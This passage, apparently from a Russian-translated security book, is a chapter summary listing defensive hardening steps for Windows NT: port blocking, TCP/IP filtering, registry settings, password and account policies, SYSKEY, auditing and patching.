Поэтому по сравнению с объемом самой главы наши выводы будут относительно короткими. Если вы предпримете следующие простые меры, то 99,99% проблем, связанных с обеспечением безопасности системы NT, исчезнут сами собой. Однако не забывайте об оставшейся 0,01%, о которой вы, скорее всего, пока еще ничего не знаете.
 Заблокируйте порты TCP и UDP с номерами 135-139. Этого простого шага уже достаточно, чтобы предотвратить практически все проблемы, связанные с удаленным взломом NT, который рассматривается на страницах этой книга. Эта защитная мера должна быть обязательно предпринята на пограничном шлюзе, защищающем всю сеть. Ее также не помешает использовать и на внутренних устройствах управления доступом. На отдельных узлах, содержащих важные данные, можно также запретить поддержку протокола NetBIOS. Заблокировав порты, не забывайте регулярно сканировать свою сеть, чтобы вовремя обнаружить различные отклонения.  Если ваша сеть NT работает на базе протокола TCP/IP, настройте фильтрацию пакетов TCP/IP в соответствующем диалоговом окне свойств (Control Panel>Network>Protocols>TCP/IP Protocol>Advanced). Установите в нем флажок Enable Security, а затем щелкните на кнопке Configure и настройте параметры фильтрации. Используйте только те порты и протоколы, которые жизненно' необходимы для функционирования системы (хотя передача ICMP-пакетов практически всегда должна быть разрешена).  Задайте значение для параметра RestrictAnonymous системного реестра, как об этом было сказано в главе 3. Кроме того, в статье Q246261 базы знаний компании Microsoft прочитайте о возможных недостатках задания значения для этого параметра, обеспечивающего наиболее жесткий уровень зашиты в системе Win 2000.  Удалите Everyone из списка групп, которым предоставлено право Access this computer from the network. Для этого в окне диспетчера пользователей выберите команду Policies>User Rights.  Установите самый свежий сервисный пакет Service Pack и дополнительные модули обновлений. В процессе выпуска обновлений компания Microsoft руководствуется требованиями обеспечения безопасности, поэтому очень часто оказывается, что без этих модулей обновлений невозможно противостоять некоторым изъянам на уровне ядра, используемых в таких утилитах, как getadmin. Модули обновления для системы NT можно найти по адресу http://www.microsoft.com/security. Конечно, самым полным "обновлением" будет переход на новую версию NT — Windows 2000, — в которой реализовано огромное, множество новых средств обеспечения безопасности. Более подробная информация по этому вопросу содержится в главе 6.  Введите жесткую политику задания паролей, реализуйте ее с использованием библиотеки passfilt и регулярно контролируйте соблюдение установленных требований. Да, правильно, — попробуйте взломать собственную базу данных SAM! Помните о числе 7, которое оказывается достаточно "волшебным", когда дело касается длины пароля в системе NT.  Переименуйте учетную запись Administrator и убедитесь в том, что запрещена учетная запись Guest. Хотя вы узнали, что учетную запись администратора можно идентифицировать, даже после ее переименования, тем не менее, эта мера усложнит задачу злоумышленника.  Убедитесь в том, что пароль администратора выбран достаточно сложным (при необходимости используйте специальные символы ASCII). He забывайте регулярно его менять.  Убедитесь в том, что простые администраторы не используют данных учетных записей администраторов домена для регистрации в качестве локальных администраторов.  Установите утилиту passprop из набора NTRK, чтобы обеспечить блокировку учетных записей администраторов и таким образом воспрепятствовать попыткам методичного подбора паролей.  Установите средство расширенного шифрования SYSKEY файла паролей NT (SAM) (Q248183). Это не остановит взломщиков раз и навсегда, но значительно усложнит их работу.  Включите режим аудита и регистрируйте неудачные попытки выполнения важных системных функций, таких как Logon and Logoff, а также тех, которые оказываются важными при реализации политики безопасности, принятой в вашей организации. Проверяйте файлы журналов еженедельно или же применяйте средства их автоматического анализа.  Убедитесь в том, что доступ к системному' реестру надежно защищен, особенно посредством удаленного доступа, с помощью параметра HKEY_LOCAL_MACHINE\-SYSTEM\ CurrentControlSet\Control\SecurePipeServers\ winreg\AllowedPath.  С помощью системного реестра сделайте компьютер, на котором хранится важная информация, невидимым в сети, установив для этого параметр HKLM\SYSTEM\CurrentControlSet\Services\LanManServer\ Parameters\Hidden, REG_DWORD=1. При этом узел будет удален из всех списков, создаваемых в окне просмотра сети (Network Neighborhood), но при этом он будет по-прежнему будет обмениваться информацией с другими компьютерами.  Не запускайте ненужных служб, а также избегайте использования тех служб, которые запускаются в контексте пользовательской учетной записи.  Выясните, как запускать используемые вами приложения с максимальной степенью безопасности, а если это невозможно, то не запускайте их совсем. Обязательно прочитайте документ Microsoft Internet Information Server 4.0 Security Checklist, который находится по адресу http://www.microsoft.com/technet
/security/tools.asp. В нем собрано очень много ценных советов о защите NT. Вопросы безопасности сервера баз данных SQL 7.0 подробно рассматриваются по адресу http://www.microsoft.com/technet/
SQL/Technote/secure.asp.  Расскажите пользователям о важности паролей и объясните им основные принципы использования учетных записей, чтобы они не попадались на такие трюки, как получение хэш-кодов путем отправки электронного письма-"приманки".  Перейдите на сеть с коммутируемой архитектурой, чтобы в максимальной степени усложнить перехват пакетов, передаваемых в процессе обмена данными по сети (однако это не обеспечит абсолютной безопасности!).  Следите за сообщениями, появляющимися в бюллетенях (Bugtraq — http://www.securityfocus.com/ и NTBugtraq — http://www.ntgugtraq.com/), а также регулярно посещайте собственный Web-узел компании Microsoft, посвященный вопросам обеспечения безопасности, расположенный по адресу http://www. microsoft.com/security.